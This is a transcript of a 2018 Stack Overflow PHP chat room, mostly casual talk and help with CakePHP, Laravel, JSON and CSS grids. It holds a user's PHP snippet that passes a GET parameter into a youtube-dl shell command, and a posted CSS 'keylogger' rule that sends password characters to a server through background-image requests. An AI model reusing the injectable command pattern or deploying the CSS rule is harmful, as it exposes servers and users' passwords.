« first day (2846 days earlier)      last day (2102 days later) » 

1:02 AM
Hey
I'm trying to make my coding more secure
Is this ok (most likely not secure). Not sure how to fix.
$url = $_GET["url"];
escapeshellcmd ('/usr/local/bin/youtube-dl youtube.com/watch?v=';.$url.' --no-check-certificate -f mp4 -o /This/Is/A/Path.mp4');
 
@LeviMorrison GAH, that is the ugliest way to typecast that I've seen in ANY language.
 
1:27 AM
Table rendering with long words has changed in Firefox – #76689
 
Sure, that sounds like a bug in PHP
 
2:03 AM
@StatikStasis An email to the php internals mailing list.
@DaveRandom It's a website bug ^_^
 
Wes
3:00 AM
mornin
 
3:34 AM
Night all!
 
 
3 hours later…
6:21 AM
might be bug in php!
 
nice
 
6:42 AM
morns
 
posted on August 01, 2018

New Cyanide and Happiness Comic

 
7:12 AM
mime_content_type's return type is not correctly documented – #76690
 
7:24 AM
Morning
 
\o
 
Can anyone here help me with a quick problem, it's pretty simple, although seems too simple to make a question for it.
 
> Don't ask to ask, just ask
 
Yeah sure sorry, basically I'm trying to cycle through nested arrays. I have a config array, this array contains an array of config files, each config file array contains an array itself, I'm trying to just loop going deeper and deeper for each '.' character in the string.
public static function get($key) {
if (strpos($mystring, ".") !== false) {
$parts = explode(".", $string);
// TODO: keep indexing $this->config for each dot?
}
else {
return $this->config[$key]; // just return the whole config file
}
}
 
hello
 
7:37 AM
hello @PrakashPoudel
 
i need to increase my reputations can you help me
 
Sure, you need advice on how to?
or what
 
yes need some advice
 
Oh, it's pretty simple, just help people out, if your answers good they'll set it as the accepting answer and you'll get like 30 reputation for each accepted answer.
I think you get +10 rep for a up voted answer.
 
how much for an upvoted question
 
7:40 AM
 
ok thanks
i need to reach at least 50 rep
 
@PrakashPoudel No, we cannot.
 
That is not allowed, and asking for it can sometimes actually result in down-votes instead.
 
It's against the TOS, you shouldn't need us to, if your answers are good they'll soon get upvoted / accepted.
 
7:42 AM
i think they wont know it
 
@PrakashPoudel There is a mod in this room right now, so, I am pretty sure that they would know. :P
 
8:00 AM
improbity lack of honesty or moral scruples.
 
user9058188
Hello can anyone assist me regarding some confusions in programming ?
 
8:16 AM
42 mins ago, by mega6382
> Don't ask to ask, just ask
 
8:28 AM
Hello.
 
yo
@Tpojka lol, what does that even mean btw?
seems like the same thing "later", "in a while"
 
See you later "SELECT * from animals where name is ?"? :P
 
see you later alligator ... see you in a while crocodile :p
... mrnng
 
oh, I just got it, thanks :P stupid me
yo @Ekin
 
o/
 
8:31 AM
\o
 
user9058188
What is the difference between rowset and resultset?
 
user9058188
@Tiffany What is the difference between rowset and resultset?
 
@StressedBrain If you were to google the question as is, I am sure you would find a lot of good results. Anyway, here is an example stackoverflow.com/questions/6599625/…
 
user9058188
ohk lets move to different topic
 
user9058188
why php sockets are not persistent?
 
user9058188
8:45 AM
i implement php socket but the problem is that when client connect to the server it gets the response and socket is closed and php script is also moved to the shutdown phase.
 
user9058188
people says that move the script to the infinite loop which is not the better solution because it will make the extra burden on the server and this is not the good idea !!!
 
user9058188
How are WhatsApp sockets working?
 
user9058188
Can anyone tell?
 
9:17 AM
@StressedBrain you're asking questions that while not incredibly difficult to answer still require large amounts of text to be written. This is not a useful use of other's peoples time. Obviously it might save you some time googling that stuff, but that's just shifting the burden from you, to someone else.
 
@StressedBrain Not using PHP. They'll have long running daemon processes handling client connections.
 
9:42 AM
one downside to waking up ridiculously early, no streetlights on to walk
I can't tell if there's a gap in the sidewalk
 
9:54 AM
Get some of those shoes with lights on that all of the cool kids have
Or a bike, probably less gaps in the road
 
i m keep getting this error on my apache server .. saying
[Wed Aug 01 09:50:06.670381 2018] [:error] [pid 3006] [client 203.88.147.194:33978] PHP Warning: require(/var/www/html/vendor/autoload.php): failed to open stream: No such file or directory in /var/www/html/smith-jones.ouvar/index.php on line 28
[Wed Aug 01 09:50:06.670418 2018] [:error] [pid 3006] [client 203.88.147.194:33978] PHP Fatal error: require(): Failed opening required '/var/www/html/vendor/autoload.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/html/smith-jones.ouvar/index.php on line 28
i m using cakephp .. and i have uploaded all the things on my server
and its working fine on my local server with ubuntu linux
my live server has linux as well
i have tried many things to solve .. but no luck so far
composer dumpautoload
not worked as well
can u guys help me please
 
so, this file actually doesn't exist, right? '/var/www/html/vendor/autoload.php'
and I guess on /var/www/html/smith-jones.ouvar/index.php on line 28 you are going back one folder too many
assuming that /var/www/html/smith-jones.ouvar/vendor/autoload.php exists and is actually what you want
 
but my question is .. why this is happening .. its cakephp's default index.php file
and what should i do to solve this
 
I don't know the specifics of cakephp, but I assume it expects the index.php to be on a public/ or web/ folder?
 
its inside public folder
at root .. u can say
same structure i applied which i did on local server
and i think its related to composer .. and not with cakephp
 
10:14 AM
look at the folder structure here: github.com/cakephp/app webroot/index.php and there will be a vendor/autoload.php so relatively from index.php, it can find the vendor in ../vendor/autoload.php. Given that your index.php is in the root of the project, that is the wrong relative path to the autoload file
 
10:46 AM
Afternoon 11! Amecon was a blast \o/
 
yo @Sean haven't seen you in a while
 
Nice
 
Was too busy getting tipsy in a Brooklyn 99 costume :P
 
@Sean you sent yourself to Coventry?
 
11:03 AM
Hello, good evening everyone !!
 
@Danack I did! Willingly!
 
@Sean did you dress up? as in was there cosplay?
 
@mega6382 Yeah, I wore a couple of costumes. One was a jokey one (Scully from Brooklyn 99) and one was for the ball (Sissel from Ghost Trick). I normally don't cosplay but it made the con so much more fun for doing it
 
hahaha, cool
 
Is it worth picking up data grip on that 50% deal? Never tried it before
 
11:34 AM
Anyone know any remote jobs going? For research purposes.
 
Does that mean porn?
 
11:55 AM
Good morning!
 
@Danack Only @DaveRandom enjoys remote dildo requests over SOAP
DOAP is the new microservices, didn't you know?
 
I wonder if there is a !!facepalm
!!facepalm
 
bad result when using reference – #76691
 
:(
 
@Tiffany check jeeve's playground
 
12:09 PM
I guess I didn't understand the concept of "controller" correctly. Assume we need some actions for images (uploading, resizing, cropping, compressing etc ..). In this case, do I need to have one controller named "imagesControoler" and each action should be an method? Or a controller for uploading which has its own methods (upload, resize) and so on ... ?
 
!!alias facepalm sayf (-‸ლ)
 
Command '!!facepalm' aliased to '!!sayf (-‸ლ)'
 
@Danack Say something interesting so we can finish filling up the starred messages please. =)
 
!!sigh
 
3 messages moved to Trash
 
12:11 PM
:-)
 
@Jimbo @Danack sent this to me a while back, possibly relevant to your question dev.to/colinmtech/…, at least they link to some sites that remote jobs can be found
 
@Jimbo you're a remote dildo, I don't recall requesting you
<3
 
3 messages moved to Trash
 
12:38 PM
Morgen
 
\o
 
o/
 
Surely it would be SDAP
Holding back on the dirty puns, I believe that's Dave's job
@Danack That's pretty hype to see, would there be there any kind of builder support for it?
 
Morning @PeeHaa
 
1:07 PM
Download page for windows not working – #76692
 
@Jeeves PEBKAC?
 
1:23 PM
@Tiffany Danke :)
 
Bitte
 
1:47 PM
I'm just going to leave this here...
 
 
1 hour later…
3:10 PM
mornin
 
Hola
 
@PeeHaa Salsa?
 
o/
 
When I see that, I think:
> Han Solo: Uh, had a slight weapons malfunction. But, uh, everything's perfectly all right now. We're fine. We're all fine here, now, thank you. How are you?
Intercom: We're sending a squad up.
Han Solo: Uh, uh, negative, negative. We had a reactor leak here now. Give us a few minutes to lock it down. Large leak... very dangerous.
3
 
Wes
4:41 PM
\o
 
5:09 PM
\o
 
o/
 
\o
 
/o\
 
yo
 
5:47 PM
 
6:00 PM
Hi! Noob question. I was expecting that an array_merge([], $objectImplementingArrayAccess); would work. Is there any way I can get this magic to happen? :)
 
@Christian an empty array?
 
That's just an example. No, what I mean is that native array functions do not work with objects that implement ArrayAccess
 
oooh, doh, I was looking, rather, confused at the wrong thing :P
 
@Christian I can't test it presently, but would casting the class that implements array access to (array) do what you want?
(I'm not even sure it does anything, just a random thought)
 
wish me luck, beginning to refactor over 100 methods to use prepared statements
 
6:07 PM
go you
 
@FélixGagnon-Grenier probably, but still annoying. I think I know a different way around my issue though.
@Tiffany sounds like fun :P how was it before? escaping + concat?
 
if (is_string($this->administrator_group_ids)) $this->administrator_group_ids = array(); wat
@Christian mysql_real_escape_string()
 
@Tiffany "hotfix"
 
notice the single equal sign
 
I know it's assignment
but... if there's a string value in it already... doesn't that overwrite it?
 
6:13 PM
yes, I believe that to be precisely the point
 
I guess there's additional context in the code that I'm missing
 
maybe, someone realized that using a string as array messed up greatly and worked around not having type hints?
 
well, most of the methods are static, so wouldn't surprise me
I'll leave a todo to find out wtf it's doing
I may end up commentating my adventures, I apologize in advance.
 
... it's been the two first times I read "commentating" in my life today. Has it changed from "commenting" or have I just never read correctly?
 
commentating is like...narrating kind of
pffft
 
6:20 PM
3 messages moved to Trash
 
> report on an event as it occurs, especially for a news or sports broadcast; provide a commentary.
 
... sorry, I did not mean to distract you from your refactoring
 
@FélixGagnon-Grenier commenting is to comments as commentating is to commentary
 
@FélixGagnon-Grenier no worries, I'm distracting myself, and I've noticed that talking to people sometimes makes me more productive... which is weird... I guess something about being able to ramble my thoughts to someone who listens helps my brain make thoughts connect... and I sound like what's his name
 
that explains it
well, til a new word
@Tiffany I believe this is called "rubber ducking" ;) go right ahead
 
6:23 PM
@FélixGagnon-Grenier <3
 
\o/
... so, css-grids made me actually think about starting to like web design
It's like, so easy to splat stuff from one end of the screen to the other, that I feel like I actually have an artistic eye
 
have you messed with flexbox?
 
yes, flex and grid together are really nice. a great combo. I think I'm really close to kiss goodbye to any and every preprocessor
 
:P
 
with css vars now mainly available, I have very little interest in the added layer of devops
 
6:29 PM
that's another thing my dad wants... his site to be mobile friendly... I can maybe convert a bunch of it to using flex
@FélixGagnon-Grenier I forgot about variables
 
just use a grid system .. either foudantion or bootstarp
 
bootstrap adds so much bloat
 
they are infinitely less powerful than css grids
bootstrap, foundation and the other column based layout frameworks are outdated, and are a struggle to work with, compared to the expressiveness of css grids
 
@Tiffany bloar means something completely unrelated in this context, typo?
 
6:32 PM
no.
 
emm ok, so it should be a term
 
@Shafizadeh not a typo, but more of a slang definition
 
ok got it :-)
 
> to fill to capacity or overflowing
 
6:33 PM
> Code bloat is the production of code that is perceived as unnecessarily long, slow, or otherwise wasteful of resources. Code bloat can be caused by inadequacies in the language in which the code is written, the compiler used to compile it, or the programmer writing it.
do you have access to wikipedia in Iran? @Shafizadeh
 
yes I have .. and I read it
thx
 
ah, just wasn't sure if it was blocked there
 
@Shafizadeh I believe the point is: fixed-width column based layouts is really constraining. Why should columns have the same width? Why not be able to define your content as having three columns, and define ratios for these columns? css-grids allows you to do that, both horizontally and vertically (vertically is incredibly tiresome currently without grids)
 
bootstrap and likewise was an intermediary until common adoption for grids and flex
 
css support getting increasingly wide, we can now write a column based layout in pure css in a handful of lines, without the added bloat to your design
 
6:39 PM
I see what you're saying .. but responsive design usually follow UI-kit pattern and yes they have some limitation, but the benefit is much more (being usable in all screen size devices)
 
@Shafizadeh grids and flex are responsive design
 
^
.. .maybe you should actualy try grids @Shafizadeh
 
@Shafizadeh cssgridgarden.com
 
ah, you're comparing grid and flex .. in this case, I will go with grid .. since flex won't be support in all browsers (specially old browsers)
 
I'm not comparing them
 
6:40 PM
... both are pretty much equally supported.
 
I'm saying they're both part of responsive design
 
got it
 
breathes deeply
brb coffee
 
@FélixGagnon-Grenier need more patience :D
refactoring commentary: wtf is the point of these quotes and double quotes if ($id > 0) $values[] = '("'.$this->id().'", "'.$id.'")';
awwwww
er
 
@FélixGagnon-Grenier since the word of "coffee" was said, lemme say this: I can turn on/off my coffee maker online using a command :P ..! When I'm on the way of home, I will turn it on and when I get home it is ready .. that's the most useful job I've ever done
 
6:45 PM
@Shafizadeh I'm reminded of the sysadmin who wrote a script to detect when he was getting sleepy, and brew coffee, timing it to the exact second of when he'd get up from his desk and make it to the coffee maker
 
@Shafizadeh the first webcam was set up to monitor a coffee pot
 
@PaulCrovella ow :-)
@Tiffany really?! interesting
 
not sure if the story is true, I'll have to find it
oh nevermind, it doesn't detect anything
it's just a shell script that starts brewing coffee
but mind you, this was before the internet of things
 
yes, iot changed everything ...
!!wiki iot
 
IOT or IoT may refer to: == Science and technology == Internet of things (IoT), the internetworking of physical devices Inductive output tube, a variety of vacuum tube Input-Output Transfer, instructions for computers as in the PDP-8 == Other uses == British Indian Ocean Territory (ISO 3166-1 alpha-3 code) Illuminates of Thanateros, an occultish society Institute of Transportation, an agency in Taiwan Interoperability testing, testing to determine the interoperability of a product Completed operations indicator, in Belgian railway signalling...
 
6:51 PM
how can I get access for removing using Jeeves ?
 
3 messages moved to Trash
 
!!remove
 
@Shafizadeh Sorry, you're not cool enough to do that :(
 
he says I'm not that much cool. why?
 
it's a message to say that you are not allowed to use that functionnality.
 
6:52 PM
I myself am the author of the comment I want to remove ..! I actually should have that access
 
then remove it manually
 
I want to do that using that bot :-(
 
I don't think we have the authority to choose who has access
 
ok nevermind .. I just like to do things using commands .. It gives me feeling good .. I will implement that in my own website :P
which one?
- It gives me feeling good
- It gives me feel good
 
I understand, but it's not our bot. Someone randomly gave me access, I don't remember when, I didn't ask for it. I don't feel comfortable giving someone else access when it's not mine, and I'm not a room owner.
@Shafizadeh neither, "It makes me feel good."
 
6:56 PM
I see, thx
 
or if you want to use "gives," then "It gives me a good feeling."
 
ah ok :-)
 
in this scenario, "gives" is the conjugate/verb, and "feeling" is the subject/noun
well, technically, I think "me" is the subject... but feeling is still a noun in this scenario
 
I see
 
7:00 PM
@FélixGagnon-Grenier makes me think of youtube.com/watch?v=-9EhHqqzJFQ (lyrics)
 
from the title, was not sure if that was some propaganda or
 
lol, yeah :( it's my favorite band... and they broke up before the terrorist group came into the limelight
 
@Tiffany really are you understand what the singer is saying in the music? I cannot even find its lyric
 
(one of) my sisters is named Isis. There was also an egyptian goddess long before that.
 
@FélixGagnon-Grenier yarp
and loads of other usages of it
 
7:02 PM
I somewhat dislike a word becoming supercharged with meaning when some people (often a minority) try and hijack its meaning
 
Wes
so there are these italian sport cars that my dad used to sell that have an elephant as logo / mascot
 
like 1/3 of my t-shirts are Isis band shirts, and I don't wear them outside anymore
 
Wes
so turns out i have a huge inflatable red elephant
 
if I lived in a city like Seattle, I probably would... but rural America... they would get the wrong idea
 
7:03 PM
@Wes Lancia Delta HF PHP edition? :P
 
@pmmaga lol, that's what I was wondering
 
@Tiffany Be daring. Refactor production. =p
 
been there, done that :X
 
Wes
@pmmaga :B
i need a pump
 
can I safely change if ($id > 0) $values[] = '("'.$this->id().'", "'.$id.'")'; to if ($id > 0) $values[] = ("$this->id()", "$id")'; or even if ($id > 0) $values[] = ($this->id(), $id);
 
7:06 PM
not if the statement is concatenated, no
 
!@#$
 
it you are moving towards parameters, then it's actually a requirement
 
Wes
@Tiffany sprintf
 
but before parameters, the quotes are actually really meaningful
 
@Shafizadeh What you're looking for is "it makes me feel good." You would use "it gives me feel good" in the context of prostitution.
 
7:07 PM
I'm still in the process of figuring out what all of this is doing, but wanted to make something simpler if I could while I'm reading it
 
I have very mixed results when trying that. Often, I overlook some detail and my "getting this simpler" equates to "destroying behaviour"
adding braces around these single lines if would probably be a must, but anything that changes the actual behaviour of the code is.. dangerous when it's applied to code we don't completely master?
... I forget where I heard that, but at some point it became clear to me that as much as we can dislike legacy spaghetti code with deeply nested ifs, all these things were client valued features, that were added at some point
 
yar, that's why I was wondering... and it's not easy for me to test if the change would break it or not right now
 
a refactoring that would remove these painfully added features, is not a plus, imho.
so yeah, maybe err on the side of caution :)
 
roger dodger
 
Wes
i thought i still had it, now i am certain. i hope rubber didn't decay
 
7:34 PM
why haven't I seen this before?...and I'm procrastinating
 
yeah that series is quite funny
 
> if you're stupid enough to totally ignore ability just to get benchmarks, I suggest you pipe your data to /dev/null, it will be very fast
 
7:49 PM
Hello someone can help me ?
 
How can we answer that question?
!!ask
 
Don't ask to ask, just ask :)
 
i need to ask but i dont good at english
can me ask ?
sorry if I wrote it wrong.
 
just ask your question, if someone is able to answer, they will answer it
 
i using laravel 5.6 and working in authentication on JwtAuth. Now i can setup jwtauth and used it work. But problem is i need to protect route.So i have a route name 'home'.i need make user logged in only can access. how to do that ?
 
7:54 PM
!!dad
 
Did you hear about the dyslexic pimp? He bought a warehouse
 
@DaveRandom Feeling dirty?
 
Please don't anger the beast
 
@2dsharp 62 commits a day is more than feasible for vanilla stuff
 
@Ocramius 'sup. I'm going to go to phpce. Are you heading there or possibly waiting to hear back to find out?
 
8:10 PM
@Danack didn't hear from PHPCE yet
 
Hey, Laravel question:
I have a json resource that returns a path, and my path is escaped to look like this: "thumbnail_path":"http:\/\/127.0.0.1:8000\/images\/\/key1.jpg"

Is there a way to prevent that
 
btw I meant I bought my own ticket - heading there regardless of whether they accept me or not.
 
@Jony that string is correct - nothing to be prevented
@Danack ah, I'm too much of a cheap ass to do that
 
Well that string tranlsates to 127.0.0.1:8000//images//key1.jpg if u try it
with two slashes
I want the url to show as 127.0.0.1:8000/images/key1.jpg
 
oh, that's most likely broken in the routing then, not in the JSOn encoding
 
8:13 PM
if you look closely, there are two slashes in the encoded json: images\/\/key1.jpg
 
Ye thats the fixed version:
{"data":[{"id":1,"title":"Test","description":"Hey test","thumbnail_path":"http:\/\/127.0.0.1:8000\/images\/key1.jpg"}]}
still ahve two slashes after the :8000
its //images/key1
 
what is the code that decodes it?
 
I dont decode it yet, i just paste that into the url bar and see that result
why doesnt it show as normal url tho
 
generally, you need to json_decode and json_encode to work with json in php
if you don't do that, chances are that you will have problem such as doubly escaped things or wrong paths.
 
ah okey got it
I decode it on front end with vueJS
 
8:19 PM
Samsung 970 PRO or wait? That is the question for tonight...
 
JSON.parse is javascript's equivalent of json_decode.
 
ye
 
8:31 PM
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
Is that basically a keylogger in CSS lol?
 
how to set headers before redirect in vuejs ?
 
@Jony if it works, yeah, it could be possible to log the server access from a specific ip and aggregate the letters one after another... but that's... lol, that's funny
 
If I want to handle stuff in a session (e.g add/remove products from a cart and list cart, and cart is handled in a session), whats the best way to handle it? straight session access in a controller or create some sort of an helper or service
Laravel btw
 
Wes
@bwoebi around?
 
8:48 PM
@Tiffany "All of a sudden our team was crawling with bohemian ruby hipsters with their macintosh laptops" Gods the quotes in these, I'd forgotten (that one is from the second)
 
@FélixGagnon-Grenier lol yeah, I was listening to it while rewriting queries
it's hilarious
 
9:04 PM
Heading home. Later.
 
laters
@Tiffany yeah I was trying out just now and can't seem to reproduce it. the css rule of background image does not seem to be applied, but maybe I'm doing it wrong
heading home, laters
 
My $cart array is [0 => "5", 1 => "4", 2 => "3"], but json_encode($request->getSession()->get("cart") prints "5", "4", "3"
Is there a simple func to make the json print it with index keys?
Nvm , JSON_FORCE_OBJECT
 
10:00 PM
@Jony Not just basically. It's the very point of it
 
@ircmaxell It cannot be unseen!
 
10:50 PM
> Are messaging user accounts if there’s a chance the credentials taken reflect the account’s current password.
That's not how it works...
 
yoyoyyoyo wasssup my homie gs
did anyone ditch work today like me?
 
Nope. We are sadly not 14 year olds anymore
 
time for some taylor swift jam
 
@PeeHaa you're forgetting deep learning. They Know Your Password Habits.
.... but hun... yeah
that is indeed, not how it works.
 
11:20 PM
posted on July 31, 2018

Dog + skunk = stinky dog. I was all set. I was going to share some YouTube links with you, get a nice, adequate 300th comic up, and go to sleep. I had a comic idea i wanted to spend some time on, but did I get to make it? Nooooooooo. The last thing I had to do before this comic was let a dog out. That dog ran into the yard, up the driveway, and straight into an adorable little blac

 

« first day (2846 days earlier)      last day (2102 days later) »